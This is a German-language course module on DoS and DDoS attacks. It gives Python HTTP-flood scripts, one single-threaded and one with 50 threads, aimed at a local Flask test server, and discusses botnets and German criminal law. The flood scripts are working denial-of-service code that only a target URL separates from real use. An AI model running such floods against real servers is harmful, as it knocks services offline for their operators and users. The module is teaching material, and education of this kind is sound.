DoS und DDoS-Angriffe mit Python verstehen - Ethik, Praxis und Grenzen

lock
Bevorstehend

Lerne die technischen Grundlagen von Denial-of-Service-Angriffen, ihre praktische Umsetzung mit Python und die ethischen sowie rechtlichen Grenzen.

Ziele dieses Moduls
  • Die Studierenden verstehen die technischen Grundlagen von DoS- und DDoS-Angriffen und können die Unterschiede erklären.
    Verstehen
  • Die Studierenden können einfache DoS-Techniken mit Python implementieren und deren Wirkung auf Testsysteme analysieren.
    Anwenden
  • Die Studierenden können die praktischen Grenzen eines Einzelrechners bei DoS-Angriffen evaluieren und mit DDoS-Szenarien vergleichen.
    Analysieren
  • Die Studierenden können ethische und rechtliche Aspekte von DoS/DDoS-Angriffen bewerten und legitime von illegitimen Einsatzzwecken unterscheiden.
    Evaluieren

In diesem Modul lernst du die technischen Hintergründe von DoS (Denial of Service) und DDoS (Distributed Denial of Service) Angriffen kennen. Du erfährst, wie solche Angriffe mit Python umgesetzt werden können, wo die praktischen Grenzen eines einzelnen Laptops liegen und wann solche Techniken ethisch vertretbar sind.

Wichtig: Dieses Modul dient ausschließlich Bildungszwecken. Angriffe auf fremde Systeme ohne Erlaubnis sind illegal!

Was sind DoS und DDoS-Angriffe?

DoS (Denial of Service) bedeutet "Verweigerung des Dienstes". Dabei wird ein System (Server, Webseite, Netzwerk) durch gezielte Überlastung lahmgelegt, sodass legitime Nutzer keinen Zugriff mehr haben.

DDoS (Distributed Denial of Service) ist die verteilte Variante: Hunderte oder Tausende Computer greifen gleichzeitig an, was den Angriff viel effektiver macht.

Typische Angriffsvektoren:

  • HTTP Flood: Massenhafte HTTP-Requests überlasten den Webserver
  • SYN Flood: Ausnutzung des TCP-Handshakes
  • UDP Flood: Überschwemmung mit UDP-Paketen
  • Slowloris: Langsame Requests, die Verbindungen offen halten

Praktischer Teil: Einfache DoS-Simulation mit Python

Wir erstellen einen einfachen HTTP Flood gegen einen lokalen Testserver. Dies zeigt die Grundprinzipien und die Grenzen eines einzelnen Rechners.

Vorbereitung: Lokaler Testserver

Erstelle zunächst einen simplen Testserver, den wir später "angreifen" können:

# testserver.py - Einfacher lokaler Server zum Testen
from flask import Flask
import time

app = Flask(__name__)

@app.route('/')
def home():
    # Simuliere etwas Last durch kurze Verzögerung
    time.sleep(0.01)
    return "Server läuft!"

if __name__ == '__main__':
    # Läuft auf localhost:5000
    app.run(host='127.0.0.1', port=5000)

Note

Installiere Flask: pip install flask

Starte den Server: python testserver.py

DoS-Script: HTTP Flood (Single-Threaded)

Beginnen wir mit der einfachsten Variante:

# dos_simple.py - Einfache HTTP Flood (single-threaded)
import requests
import time

target_url = "http://127.0.0.1:5000"
request_count = 0
start_time = time.time()

print("[+] Starte DoS-Test gegen lokalen Server...")
print("[!] ACHTUNG: Nur gegen eigene Testsysteme verwenden!")

try:
    while True:
        try:
            response = requests.get(target_url, timeout=1)
            request_count += 1
            
            if request_count % 100 == 0:
                elapsed = time.time() - start_time
                rps = request_count / elapsed  # Requests per second
                print(f"[*] {request_count} Requests | {rps:.2f} req/s")
                
        except requests.exceptions.RequestException as e:
            print(f"[!] Fehler: {e}")
            
except KeyboardInterrupt:
    elapsed = time.time() - start_time
    print(f"\n[*] Gestoppt nach {elapsed:.2f}s")
    print(f"[*] Total: {request_count} Requests ({request_count/elapsed:.2f} req/s)")

Reflection

Ergebnis: Grenzen eines Single-Thread-Ansatzes

Wenn du dieses Script ausführst, wirst du feststellen:

  • 📉 Langsam: Nur etwa 50-200 Requests pro Sekunde (je nach Hardware)
  • ⏱️ Blockierend: Jeder Request wartet auf den vorherigen
  • 🛡️ Kaum Wirkung: Ein moderner Server kann das problemlos abwehren

Optimierung: Multi-Threading

Mit Python's Threading können wir mehrere Requests parallel absenden:

# dos_threaded.py - HTTP Flood mit Threading
import requests
import threading
import time

target_url = "http://127.0.0.1:5000"
request_count = 0
lock = threading.Lock()

def attack():
    global request_count
    while True:
        try:
            requests.get(target_url, timeout=1)
            with lock:
                request_count += 1
        except:
            pass

print("[+] Starte Multi-Threaded DoS-Test...")
print("[!] Threads: 50")

start_time = time.time()

# Starte 50 parallele Threads
threads = []
for _ in range(50):
    t = threading.Thread(target=attack, daemon=True)
    t.start()
    threads.append(t)

try:
    while True:
        time.sleep(1)
        elapsed = time.time() - start_time
        rps = request_count / elapsed
        print(f"[*] {request_count} Requests | {rps:.2f} req/s")
except KeyboardInterrupt:
    print(f"\n[*] Gestoppt nach {elapsed:.2f}s")
    print(f"[*] Total: {request_count} Requests")

Reflection

Ergebnis: Deutliche Verbesserung, aber immer noch begrenzt

Mit 50 Threads erreichst du etwa:

  • 500-2000 req/s (je nach Hardware und Netzwerk)
  • 💻 CPU-Limit: Dein Laptop wird warm, CPU bei ~50-100%
  • 🌐 Netzwerk-Limit: Deine Internetverbindung wird zum Flaschenhals
  • 🎯 Wirkung: Kann kleinen lokalen Server verlangsamen, aber große Server bleiben stabil

Die Grenzen eines einzelnen Laptops

Warum kann ein einzelner Rechner moderne Server nicht lahmlegen?

Checklist

0/5

DDoS: Warum verteilte Angriffe so gefährlich sind

Ein DDoS-Angriff nutzt Tausende infizierte Rechner (Botnetz):

  • 🌍 Viele Quell-IPs: IP-Blocking funktioniert nicht mehr
  • Massive Bandbreite: 1000 Rechner × 100 Mbit/s = 100 Gbit/s
  • 🎯 Koordiniert: Zentrale Steuerung des Botnetzes

Beispiel: Der Mirai-Botnetz-Angriff 2016 erreichte 1 Tbit/s und legte große Teile des Internets lahm.

Warning

Ethische und rechtliche Fragestellungen

❌ Wann ist es illegal und unethisch?

  • Angriffe auf fremde Systeme ohne Erlaubnis → Straftat (§303a/b StGB)
  • Nutzung von Botnets (infizierte fremde Rechner) → Schwere Straftat
  • "Hacktivismus" ohne Legitimation → Selbstjustiz, illegal
  • Geschäftsschädigung (z.B. Konkurrenz lahmlegen) → Strafbar + Schadensersatz

✅ Wann ist es legitim?

  • Penetration Testing: Mit schriftlicher Erlaubnis des Betreibers
  • Security Research: Eigene Testsysteme in isolierter Umgebung
  • Load Testing: Belastungstests der eigenen Infrastruktur
  • Bug Bounty Programme: Mit expliziter Erlaubnis

⚖️ Grauzonen

  • DDoS als Protest? Auch bei moralischer Motivation illegal
  • "Es war nur ein Test": Keine rechtliche Verteidigung
  • Ausland angreifen: Auch international strafbar

Challenge

Praktische Übung: Stress-Test des eigenen Servers

Du darfst dein Wissen nun an einem eigenen, lokalen Testsystem ausprobieren:

Checklist

0/6

Reflection

Abschlussreflexion

Überlege dir folgende Fragen:

  • Warum sind DoS-Angriffe von einem einzelnen Rechner meist ineffektiv?
  • Was macht DDoS-Angriffe so gefährlich?
  • Welche Schutzmaßnahmen können Server implementieren?
  • Wo verläuft die ethische Grenze bei Security Testing?
  • Welche Konsequenzen drohen bei illegalen Angriffen?

Wichtig: Technisches Wissen ist wertvoll, aber Verantwortung ist entscheidend. Nutze deine Fähigkeiten nur zum Schutz, nie zur Schädigung!

Note

Weiterführende Ressourcen

  • 📚 OWASP DoS Testing Guide: Best Practices für Sicherheitstests
  • 🛡️ Cloudflare DDoS Protection: Wie professionelle Abwehr funktioniert
  • ⚖️ §303a/b StGB (Deutschland): Rechtliche Grundlagen
  • 🔬 Scapy (Python): Low-Level Netzwerk-Testing (für Fortgeschrittene)

Tipp: Wenn du Security testen willst, nutze legale Plattformen wie HackTheBox, TryHackMe oder DVWA (Damn Vulnerable Web Application).